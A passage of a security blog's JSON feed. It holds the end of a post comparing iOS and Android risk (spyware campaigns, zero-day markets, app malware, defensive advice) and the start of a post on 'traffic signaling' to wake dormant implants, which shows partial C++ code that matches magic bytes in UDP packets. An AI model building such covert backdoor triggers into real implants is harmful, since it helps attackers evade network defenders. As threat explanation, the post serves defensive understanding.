mainly Russian citizens and officials. The malware, called “TriangleDB”, was (again) delivered via malicious iMessage attachments, and included a series of four zero-days to achieve full device compromise.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-10-720w.webp 720w, https://benkofman.com/mobile-platforms/image-10-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-10.png\" alt=\"Operation Triangulation attack chain diagram created by Kaspersky\" width=\"1600\" height=\"716\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Operation Triangulation attack chain diagram created by Kaspersky\u003c/figcaption>\u003c/figure>\n\n\u003cp>Apple has created additional security measures around iMessage, such as \u003ca href=\"https://support.apple.com/guide/security/blastdoor-for-messages-and-ids-secd3c881cee/web\">\u003cstrong>BlastDoor\u003c/strong>\u003c/a>, which Apple vaguely describes as additional sandboxing and memory protection. Time will tell if iOS continues to fall victim to more spyware. Also, iOS full device compromises have been historically cheaper than Android on the zero-day black market. While zero-day prices are, obviously, not as accurately measured as the S&amp;P 500, zero-day brokers like Zerodium (which closed down in 2024) have advertised higher bounties for Android Full Compromise with Persistence (FCP) packages than iOS.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-11-720w.webp 720w, https://benkofman.com/mobile-platforms/image-11-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-11.png\" alt=\"Zerodium payout table\" width=\"1521\" height=\"1080\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Zerodium payout table\u003c/figcaption>\u003c/figure>\n\n\u003ch3 id=\"android-hacks\">Android Hacks\u003c/h3>\n\u003cp>Android zero-click exploits appear less common in the wild than iOS, but they still exist. As we have seen, plenty of remote code execution bugs are found in the AOSP, such as \u003ca href=\"https://thehackernews.com/2025/01/google-project-zero-researcher-uncovers.html\">\u003cstrong>CVE-2024–49415\u003c/strong>\u003c/a>, can be exploited by a crafted RCS message sent on Google Messages. Occasionally, Android security bulletins will also advise whether some CVEs are under active exploitation in the wild, such as in the \u003ca href=\"https://source.android.com/docs/security/bulletin/2024-08-01\">\u003cstrong>August 2024 bulletin\u003c/strong>\u003c/a> (although Google has provided few additional details).\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-12-720w.webp 720w, https://benkofman.com/mobile-platforms/image-12-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-12.png\" alt=\"Google warning regarding CVE-2024–36971\" width=\"1600\" height=\"427\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Google warning regarding CVE-2024–36971\u003c/figcaption>\u003c/figure>\n\n\u003cp>WhatsApp vulnerabilities like \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2019-3568\">\u003cstrong>CVE-2019–3568\u003c/strong>\u003c/a> have been used to install spyware on iOS and Android. The vulnerability is a buffer overflow affecting native code in WhatsApp’s VOIP stack. It’s unclear how reliable these types of application-level exploits are against Android. They most likely need pairing with other Java-based attacks to escape the Android Runtime sandbox, such as type confusion, object corruption, or insecure deserialization.\u003c/p>\n\u003cp>One thing to note is that hardware supply chain vulnerabilities may also affect Android devices. Recently, Serbian activists’ phones were hacked using the \u003ca href=\"https://cellebrite.com/en/ufed/\">\u003cstrong>Cellebrite Universal Forensic Extraction Device (UFED)\u003c/strong>\u003c/a>, another Israeli-developed mobile exploitation tool marketed for law enforcement and government agencies (that the company deems ethical). The UEFD gives attackers root access without needing the passcode but requires physical access to the device.\u003c/p>\n\u003cp>One Serbian journalist, who the Serbian police arrested for allegedly driving under the influence, suspected his phone was tampered with while detained and provided it to Amnesty International (a human rights NGO that also performs security research) to analyze the device. In coordination with Google Project Zero and Threat Analysis Group, Amnesty International determined Cellebrite UEFD was exploiting vulnerabilities in a Qualcomm chip driver used in the journalist’s Xiaomi device. The researchers found NoviSpy malware on the device, likely installed after gaining root access using the Cellebrite tool. The Serbian government needing physical access to the activists’ devices could indicate the lack of availability of remote zero-click exploit packages targeting Android. Amnesty International has since released a \u003ca href=\"https://securitylab.amnesty.org/latest/2024/12/tech-guide-detecting-novispy-spyware-with-androidqf-and-the-mobile-verification-toolkit-mvt/\">\u003cstrong>guide\u003c/strong>\u003c/a> for detecting NoviSpy on Android devices.\u003c/p>\n\u003ch2 id=\"common-malware\">Common Malware\u003c/h2>\n\u003cp>Nation-states likely have more difficulty gaining covert remote access to a fully patched Android device than iPhones. But what about less reliable attacks like malicious applications delivered via phishing or app stores? Compared to iOS, Android is undoubtedly like the Wild West. Run-of-the-mill malware strains run rampant, and if users are not careful, their devices can easily get infected.\u003c/p>\n\u003ch3 id=\"android-malware\">Android Malware\u003c/h3>\n\u003cp>For Android to install an application, it must be self-signed by the developer. That’s it. This protection is only to prevent existing apps with the same package name from being overwritten, like during application updates, not to verify the developer’s identity. For this reason, many fake versions of popular applications share the same name as the legitimate version. As long as a device has not already installed the legitimate version, users could install the fake version, potentially log in with their credentials, and have them compromised. Sketchy sources selling cheaper phones may preload them with malware and fake versions of popular applications.\u003c/p>\n\u003cp>APK files contain the Android application bundle. These files can be exchanged via any communication medium, such as email, text, instant messaging, websites, etc., and installed directly from the downloads folder. Third-party app stores also exist and do little to nothing to filter out malware and scams. Many well-known Android malware strains propagate using these methods and engage in all sorts of nastiness, such as infostealing, cryptomining, and banking theft. However, in addition to first being installed by the user, the application often needs to request additional permissions to perform its tasks. Below are the three major permissions categories, along with some examples:\u003c/p>\n\u003cp>\u003cstrong>Normal\u003c/strong>: Granted automatically and doesn’t have any significant security concern\u003c/p>\n\u003cul>\n\u003cli>Internet access, flashlight, vibrate, audio output settings, etc.\u003c/li>\n\u003c/ul>\n\u003cp>\u003cstrong>Dangerous\u003c/strong>: The phone prompts users to allow or deny\u003c/p>\n\u003cul>\n\u003cli>Camera, microphone, location, contacts, etc.\u003c/li>\n\u003c/ul>\n\u003cp>\u003cstrong>Special\u003c/strong>: Highest risk — must be manually granted in device settings\u003c/p>\n\u003cul>\n\u003cli>BIND_DEVICE_ADMIN: Set passcode, lock device, wipe device\u003c/li>\n\u003cli>SYSTEM_ALERT_WINDOW: Draw on the user’s screen (automatically granted to Play Store apps)\u003c/li>\n\u003cli>BIND_ACCESSIBILITY_ADMIN: Automate keystrokes, retrieve window and text content\u003c/li>\n\u003c/ul>\n\u003cp>Google has implemented some protections to mitigate the threat of Android malware. They regularly audit applications submitted to the Play Store for malicious behavior but often fall short. The iRecorder application was uploaded to the Play Store in September 2021 without malicious functionality. The developers added the AhMyth remote access trojan (RAT) in August 2022, which went undetected until May 2023. The app had been downloaded more than 50,000 times during that time.\u003c/p>\n\u003cp>Google Play Protect is a feature of Google Mobile Services that essentially acts as EDR for Android phones. It performs malware screening for Play Store apps and can remotely scan sideloaded applications. It also helps locate lost devices and remotely wipes the device if needed. However, like any EDR/antivirus, it is often bypassed, especially by less common payloads or new versions of existing malware and obfuscation techniques that Google has yet to create detections for.\u003c/p>\n\u003ch3 id=\"ios-malware\">iOS Malware\u003c/h3>\n\u003cp>Unlike Android, the standard iOS malware ecosystem is minimal, mainly due to iOS code signing requirements. All code executed on non-jailbroken iPhones must be signed by Apple, including the operating system itself. The BootROM in the CPU contains Apple’s public key, which is used to validate the signature of the bootloader, iBoot engine, and the kernel. The checkm8 vulnerability in the BootROM on Apple chips before A12 allowed skipping signature validation, paving the way for unpatchable, hardware-based jailbreaks on all affected devices.\u003c/p>\n\u003cfigure style=\"--figure-width:936px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-13-720w.webp 720w, https://benkofman.com/mobile-platforms/image-13-936w.webp 936w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-13.png\" alt=\"iOS chain of trust\" width=\"936\" height=\"254\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>iOS chain of trust\u003c/figcaption>\u003c/figure>\n\n\u003cp>That same public key verifies the signature of every application downloaded from the Apple App Store, which Apple signs using its private key. Apple performs very strict screening on applications submitted to the App Store, and unlike Google Play, malware is short-lived if it begins behaving maliciously after being accepted. Unlike Android apps, iOS apps cannot remotely download and execute additional libraries since the code is not signed.\u003c/p>\n\u003cp>Users can only install applications from official Apple repositories or developer or enterprise-signed applications on a non-jailbroken device. Developer certificates are signed by Apple and provided to individuals with an Apple account. Apps signed with the developer certificate are tied to a unique device identifier (UDID), limiting their scope to a specific device. Single device registration makes it impossible to widely distribute a developer-signed application, as an attacker would need to create separate versions for every target device, in addition to the victims needing to manually import the developer profile.\u003c/p>\n\u003cp>Enterprise-signed applications can spread malware more easily. Apple issues enterprise certificates to registered organizations with more than 100 employees to distribute internal applications on company devices. Apple tightly controls this program and thoroughly vets each participating organization. If Apple detects any wrongdoing, such as sharing internal apps externally or enterprise-signed applications behaving maliciously, Apple can revoke the certificate at any time.\u003c/p>\n\u003cp>A recent example is a strain of iOS malware tracked by Group-IB, dubbed “GoldPickaxe.iOS” distributed in Vietnam and Thailand. One of its delivery methods is via TestFlight, Apple’s beta testing platform, which has looser vetting processes than the App Store. Victims must accept an invitation to join the attacker’s testing program and install TestFlight. The other installation method is in conjunction with enterprise certificates. Attackers would distribute an enterprise-signed app version and the enterprise profile to install on victim devices. The attackers likely joined the Apple Enterprise Program fraudulently or perhaps stole another organization’s private key.\u003c/p>\n\u003cfigure style=\"--figure-width:1200px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-14-720w.webp 720w, https://benkofman.com/mobile-platforms/image-14-1440w.webp 1440w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-14.png\" alt=\"GoldPickaxe delivery methods\" width=\"1585\" height=\"1600\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>GoldPickaxe delivery methods\u003c/figcaption>\u003c/figure>\n\n\u003cp>The GoldPickaxe malware itself, unlike many Android malware apps, is limited in its access. iOS lacks some of the dangerous permissions available to Android applications to request. It masquerades as a government application and asks the user for official documentation and facial recordings. The malware operators use this information to access the victim’s bank accounts. It can also retrieve SMS messages from phone numbers outside the user’s contact list to retrieve MFA codes, which legitimate iOS apps also do to speed up the user login process.\u003c/p>\n\u003ch2 id=\"conclusion\">Conclusion\u003c/h2>\n\u003cp>iOS, unlike Android, is a thoroughly locked-down platform. Users do not have full control over the device they own. This makes it much harder to be infected with common malware or to accidentally brick your phone. While it is historically more susceptible to advanced attacks, the average user usually has nothing to worry about and is too boring for an APT to use a zero-day exploit on. For these reasons, iOS is the preferred choice for users who may not be as security conscious, such as teenagers or the elderly.\u003c/p>\n\u003cp>For average users who are familiar with social engineering and practice good security hygiene, it really doesn’t matter which platform they use. Android is more like owning a pocket-sized PC. Many people own laptops that allow them administrative privileges to install anything they want, including viruses. Android is the same thing — with great power comes great responsibility.\u003c/p>\n\u003cp>However, for journalists, politicians, freedom fighters, or other individuals potentially targeted by an advanced threat like a government agency, the platform you choose and its configuration matters. For the best protection, externally facing surfaces like SMS/RCS and cellular phone calls should be disabled. Remote attacks often target these services, similar to a web server hosted on the internet. Generally speaking, Android has a better reputation for being harder for nation-states/APTs to hack. I believe open source is generally more secure, which may explain why we see less sophisticated Android hacks than iOS. Few things illustrate this perspective more than the never-ending flood of critical vulnerabilities affecting proprietary “security” appliances like firewalls and VPN gateways that are disclosed every month.\u003c/p>\n\u003cfigure style=\"--figure-width:713px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/mobile-platforms/image-15-713w.webp 713w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/mobile-platforms/image-15.jpeg\" alt=\"Risk Analysis of the Major Mobile Platforms — However, for journalists, politicians, freedom fighters, or other individuals potentially targeted by an advanced threat like a go\" width=\"713\" height=\"454\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n\n\u003cp>Your country and the government that wants to target you also matter. You may be more protected if you live in a Western country and a country unaligned with Western powers wants to hack your phone. Many exploit development companies that supply to government customers are based in Western countries. While there are instances of customers misusing these products, exploit developers are often subject to export regulations and likely have no desire to sell to adversarial countries anyway. Western adversaries like China, Russia, Iran, etc., must rely on their own R&amp;D efforts.\u003c/p>\n\u003cp>A device built in Western countries is also probably more secure than one built by Chinese companies, whose government can force them to install backdoors. For this reason, Samsung and Google Pixel phones are generally more reliable than their Chinese competitors like Xiaomi and Oppo. Google Pixel has the added advantage of being designed by the same company that maintains the AOSP, increasing its efficiency at fixing security issues. Unfortunately, these phones aren’t available to everyone, such as citizens of countries where the products are restricted or unavailable.\u003c/p>\n\u003cp>Even for Western citizens who can purchase and use the latest and greatest Google Pixel or Samsung Galaxy, if a Western power wants to hack your phone, they probably can. While companies may try to resist, the government often compels them to do their bidding, citing national security concerns and legal loopholes. Android may be open source, but many components are not, like hardware drivers and Google Mobile Services. Google can theoretically abuse GMS to backdoor the device. After all, GMS has system-level permissions for installing security patches.\u003c/p>\n\u003cp>No system is 100% secure and risk-free. Code vulnerabilities will always exist, as will supply chain dependencies and determined threat actors. Such is the never-ending game of cat and mouse in the modern digital world.\u003c/p>\n\u003ch3 id=\"references\">References\u003c/h3>\n\u003cp>The inspiration for this blog post comes from \u003ca href=\"https://www.sans.org/cyber-security-courses/ios-android-application-security-analysis-penetration-testing/\">\u003cstrong>SANS SEC575\u003c/strong>\u003c/a>: iOS and Android Application Security Analysis and Penetration Testing, taught by Jeroen Beckers.\u003c/p>\n\u003cul>\n\u003cli>\u003ca href=\"https://explodingtopics.com/blog/smartphone-usage-stats\">\u003cstrong>Time Spent Using Smartphones 2024\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://gs.statcounter.com/os-market-share/mobile/worldwide\">\u003cstrong>Mobile Operating System Market Share Worldwide\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://gs.statcounter.com/os-market-share/mobile/united-states-of-america\">\u003cstrong>Mobile Operating System Market Share in the United States\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.appbrain.com/stats/top-manufacturers\">\u003cstrong>Android Statistics — Top manufacturers\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.geeksforgeeks.org/architecture-of-ios-operating-system/\">\u003cstrong>Architecture of iOS Operating System\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.oreilly.com/library/view/beginning-ios-5/9781118144251/ch001-sec009.html\">\u003cstrong>Architecture of the iOS\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://support.apple.com/en-us/100100\">\u003cstrong>Apple security releases\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://source.android.com/docs/core/architecture\">\u003cstrong>Android Architecture Overview\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://developer.android.com/guide/platform\">\u003cstrong>Android Platform Architecture\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://source.android.com/docs/core/architecture/kernel\">\u003cstrong>Android Kernel Overview\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://r1.community.samsung.com/t5/others/everything-you-need-to-know-about-android-s-project-mainline/td-p/7187163\">\u003cstrong>Everything you need to know about Android’s Project Mainline\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://androidenterprisepartners.withgoogle.com/glossary/device/\">\u003cstrong>Android Enterprise Device Glossary\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://androidenterprisepartners.withgoogle.com/glossary/device-manufactures/\">\u003cstrong>Android Enterprise OEM Glossary\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.android.com/gms/\">\u003cstrong>Google Mobile Services\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://emteria.com/learn/google-mobile-services\">\u003cstrong>GMS certification: A complete guide from requirements to submission\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://bayton.org/android/android-enterprise-faq/is-android-enterprise-supported-in-china/\">\u003cstrong>Is Android Enterprise supported in China?\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/jni/AndroidRuntime.cpp\">\u003cstrong>AndroidRuntime.cpp\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://support.apple.com/en-us/122066\">\u003cstrong>About the security content of iOS 18.3 and iPadOS 18.3\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://support.apple.com/en-us/121837\">\u003cstrong>About the security content of iOS 18.2 and iPadOS 18.2\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://source.android.com/docs/security/bulletin/2025-01-01\">\u003cstrong>Android Security Bulletin January 2025\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://source.android.com/docs/security/bulletin/2024-12-01\">\u003cstrong>Android Security Bulletin December 2024\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2024-49747\">\u003cstrong>NIST NVD: CVE-2024–49747 Detail\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2024-54499\">\u003cstrong>NIST NVD: CVE-2024–54499 Detail\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.reuters.com/technology/apple-nears-switch-in-house-bluetooth-wi-fi-chip-iphone-smart-home-bloomberg-2024-12-12/\">\u003cstrong>Apple nears switch to in-house Bluetooth and Wi-Fi chip for iPhone, smart home, Bloomberg reports\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/\">\u003cstrong>Operation Triangulation: The last (hardware) mystery\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"http://citizenlab.ca/2023/09/blastpass-nso-group-iphone-zero-click-zero-day-exploit-captured-in-the-wild/\">\u003cstrong>BLASTPASS — NSO Group iPhone Zero-Click, Zero-Day Exploit Captured in the Wild\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://lab.wallarm.com/zero-day-marketplace-explained-how-zerodium-bugtraq-and-fear-contributed-to-the-rise-of-the-zero-day-vulnerability-black-market/\">\u003cstrong>Zero-Day Marketplace Explained: How Zerodium, BugTraq, and Fear contributed to the Rise of the Zero-Day Vulnerability Black Market\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.amnesty.org/en/latest/news/2024/12/serbia-authorities-using-spyware-and-cellebrite-forensic-extraction-tools-to-hack-journalists-and-activists/\">\u003cstrong>Serbia: Authorities using spyware and Cellebrite forensic extraction tools to hack journalists and activists\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html\">\u003cstrong>The Qualcomm DSP Driver — Unexpectedly Excavating an Exploit\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://developer.android.com/guide/topics/permissions/overview\">\u003cstrong>Permissions on Android\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://usa.kaspersky.com/blog/malware-in-google-play-2023/29356/\">\u003cstrong>Google Play malware clocks up more than 600 million downloads in 2023\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://developers.google.com/android/play-protect/client-protections\">\u003cstrong>Google Play Protect: On-device Protections\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://ritcsec.wordpress.com/2020/04/28/analysis-and-reproduction-of-iphone-bootrom-exploit-checkm8/\">\u003cstrong>Analysis and Reproduction of iPhone BootROM Exploit: Checkm8\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://support.apple.com/guide/security/app-code-signing-process-sec7c917bf14/web\">\u003cstrong>App code signing process in iOS, iPadOS, tvOS, watchOS, and visionOS\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.group-ib.com/blog/goldfactory-ios-trojan/\">\u003cstrong>Face Off: Group-IB identifies first iOS trojan stealing facial recognition data\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://developer.apple.com/programs/enterprise/\">\u003cstrong>Apple Developer Enterprise Program\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://developer.apple.com/documentation/xcode/distributing-your-app-for-beta-testing-and-releases\">\u003cstrong>Distributing your app for beta testing and releases\u003c/strong>\u003c/a>\u003c/li>\n\u003c/ul>\n","summary":"Which is the more secure operating system — iOS or Android?","image":"https://benkofman.com/mobile-platforms/cover.jpeg","date_published":"2025-06-29T12:00:00Z"},{"id":"https://benkofman.com/traffic-signaling.html","url":"https://benkofman.com/traffic-signaling.html","title":"Traffic Signaling: How to Send Code Words to Dormant Malware","content_html":"\u003ch2 id=\"situation\">Situation\u003c/h2>\n\u003cp>An adversary compromises a system in a target environment and is able to execute a malicious implant. Rather than immediately beaconing out to command and control (C2) infrastructure, the adversary wants to minimize suspicious traffic to avoid detection by network monitoring defenses. One way for a backdoor to stay idle until triggered on demand is using Traffic Signaling, which involves sending a specially crafted or a combination of packets to the compromised device.\u003c/p>\n\u003ch2 id=\"how-it-works\">How it works\u003c/h2>\n\u003cp>Packets may be sent from another compromised system, like an \u003ca href=\"https://attack.mitre.org/techniques/T1090/001/\">\u003cstrong>internal proxy\u003c/strong>\u003c/a>, or from attacker infrastructure if the implanted device is externally facing. The running process monitors inbound traffic for signals. The traffic signals may instruct the malware to do something that network defenses look for, like establishing a connection with C2 infrastructure.\u003c/p>\n\u003cp>One way to monitor for incoming connections is by inspecting Netstat output periodically, but spawning a child process can be suspicious. This also limits the implant to only fully established connections without the ability to inspect the frame headers or data. If the malware has administrative priviliges, it can monitor all inbound traffic on the system using pcap libraries like \u003ccode>npcap\u003c/code> on Windows or \u003ccode>libpcap\u003c/code> on Linux or create raw sockets. This includes ports in use by other programs, allowing the signals to blend in with standard traffic like SSH, HTTP, or SMB.\u003c/p>\n\u003ch2 id=\"port-knocking\">Port Knocking\u003c/h2>\n\u003cp>One method adversaries have used to signal to the listening malware is Port Knocking, which involves sending a predefined sequence of packets to different ports on the compromised system. In the example below, a program uses \u003ccode>libpcap\u003c/code> to monitor incoming packets on the local network interface. If ten SYN packets arrive at increasing fibonacci port numbers from the the same source IP address in the span of 60 seconds, a “reverse shell” is spawned.\u003c/p>\n\u003cfigure style=\"--figure-width:1092px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/traffic-signaling/image-01-720w.webp 720w, https://benkofman.com/traffic-signaling/image-01-1092w.webp 1092w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/traffic-signaling/image-01.png\" alt=\"Two Nmap scans are initiated from another system — the first with a random Nmap scan order (default), and the second with 10 sequential fibonacci port numbers (using the -r flag)\" width=\"1092\" height=\"920\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>Two Nmap scans are initiated from another system — the first with a random Nmap scan order (default), and the second with 10 sequential fibonacci port numbers (using the -r flag)\u003c/figcaption>\u003c/figure>\n\u003cfigure style=\"--figure-width:939px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/traffic-signaling/image-02-720w.webp 720w, https://benkofman.com/traffic-signaling/image-02-939w.webp 939w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/traffic-signaling/image-02.png\" alt=\"The implant is triggered when it detects the correct order\" width=\"939\" height=\"641\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>The implant is triggered when it detects the correct order\u003c/figcaption>\u003c/figure>\n\n\u003ch2 id=\"socket-filters\">Socket Filters\u003c/h2>\n\u003cp>Another way to send signals is by filtering for crafted packets with unusual characteristics or “magic bytes” embedded in the data. The payload may carry different signals, allowing additional control. In the following scenario, a program uses a raw socket to filter for inbound UDP packets on port 123 (NTP). When a “password” byte chunk is detected, the following ten bytes will signal which action the program should take.\u003c/p>\n\u003cpre>\u003ccode class=\"language-cpp\">\u003cspan class=\"hljs-comment\">// UDP port 123 packet received, checking data for signals\u003c/span>\n\u003cspan class=\"hljs-function\">\u003cspan class=\"hljs-type\">void\u003c/span> \u003cspan class=\"hljs-title\">check_byte_pattern\u003c/span>\u003cspan class=\"hljs-params\">(\u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">char\u003c/span>* udpData, \u003cspan class=\"hljs-type\">int\u003c/span> length)\u003c/span> \u003c/span>{\n    \u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">unsigned\u003c/span> \u003cspan class=\"hljs-type\">char\u003c/span> passwordChunk[] = { \u003cspan class=\"hljs-number\">0x3A\u003c/span>, \u003cspan class=\"hljs-number\">0xF1\u003c/span>, \u003cspan class=\"hljs-number\">0xD2\u003c/span>, \u003cspan class=\"hljs-number\">0x84\u003c/span>, \u003cspan class=\"hljs-number\">0xB7\u003c/span>, \u003cspan class=\"hljs-number\">0xC9\u003c/span>, \u003cspan class=\"hljs-number\">0x5E\u003c/span>, \u003cspan class=\"hljs-number\">0x6F\u003c/span>, \u003cspan class=\"hljs-number\">0x12\u003c/span>, \u003cspan class=\"hljs-number\">0xA3\u003c/span> };\n    \u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">int\u003c/span> passLength = \u003cspan class=\"hljs-keyword\">sizeof\u003c/span>(passwordChunk);\n    \u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">unsigned\u003c/span> \u003cspan class=\"hljs-type\">char\u003c/span> signal1[] = { \u003cspan class=\"hljs-number\">0x7B\u003c/span>, \u003cspan class=\"hljs-number\">0x8C\u003c/span>, \u003cspan class=\"hljs-number\">0x2D\u003c/span>, \u003cspan class=\"hljs-number\">0x5F\u003c/span>, \u003cspan class=\"hljs-number\">0xE6\u003c/span>, \u003cspan class=\"hljs-number\">0x91\u003c/span>, \u003cspan class=\"hljs-number\">0x4A\u003c/span>, \u003cspan class=\"hljs-number\">0x0D\u003c/span>, \u003cspan class=\"hljs-number\">0xF3\u003c/span>, \u003cspan class=\"hljs-number\">0xC8\u003c/span> };\n    \u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">unsigned\u003c/span> \u003cspan class=\"hljs-type\">char\u003c/span> signal2[] = { \u003cspan class=\"hljs-number\">0x1E\u003c/span>, \u003cspan class=\"hljs-number\">0xA7\u003c/span>, \u003cspan class=\"hljs-number\">0x9B\u003c/span>, \u003cspan class=\"hljs-number\">0x05\u003c/span>, \u003cspan class=\"hljs-number\">0xD4\u003c/span>, \u003cspan class=\"hljs-number\">0x8F\u003c/span>, \u003cspan class=\"hljs-number\">0x36\u003c/span>, \u003cspan class=\"hljs-number\">0xC2\u003c/span>, \u003cspan class=\"hljs-number\">0x7D\u003c/span>, \u003cspan class=\"hljs-number\">0xE9\u003c/span> };\n    \u003cspan class=\"hljs-type\">const\u003c/span> \u003cspan class=\"hljs-type\">unsigned\u003c/span> \u003cspan class=\"hljs-type\">char\u003c/span> signal3[] = { \u003cspan class=\"hljs-number\">0x52\u003c/span>, \u003cspan class=\"hljs-number\">0xF8\u003c/span>, \u003cspan class=\"hljs-number\">0x3C\u003c/span>, \u003cspan class=\"hljs-number\">0x6B\u003c/span>, \u003cspan class=\"hljs-number\">0x94\u003c/span>, \u003cspan class=\"hljs-number\">0x0A\u003c/span>, \u003cspan class=\"hljs-number\">0xE1\u003c/span>, \u003cspan class=\"hljs-number\">0xD7\u003c/span>, \u003cspan class=\"hljs-number\">0x2F\u003c/span>, \u003cspan class=\"hljs-number\">0x8E\u003c/span> };\n    \u003cspan class=\"hljs-comment\">// Search every 10 byte chunk in the UDP data\u003c/span>\n    \u003cspan class=\"hljs-keyword\">for\u003c/span> (\u003cspan class=\"hljs-type\">int\u003c/span> i = \u003cspan class=\"hljs-number\">0\u003c/span>; i &lt;= length - passLength; i++) {\n        \u003cspan class=\"hljs-comment\">// If the 10 byte chunk matches the passwordChunk\u003c/span>\n        \u003cspan class=\"hljs-keyword\">if\u003c/span> (\u003cspan class=\"hljs-built_in\">memcmp\u003c/span>(udpData + i, passwordChunk, passLength) == \u003cspan class=\"hljs-number\">0\u003c/span>) {\n            \u003cspan class=\"hljs-comment\">// If there are at least 10 more bytes after the target pattern\u003c/span>\n            \u003cspan class=\"hljs-keyword\">if\u003c/span> (i + passLength + \u003cspan class=\"hljs-number\">10\u003c/span> &lt;= length) {\n                \u003cspan class=\"hljs-built_in\">printf\u003c/span>(\u003cspan class=\"hljs-string\">&quot;  Signal detected: &quot;\u003c/span>);\n                \u003cspan class=\"hljs-built_in\">print_hex\u003c/span>(passwordChunk, passLength);\n                \u003cspan 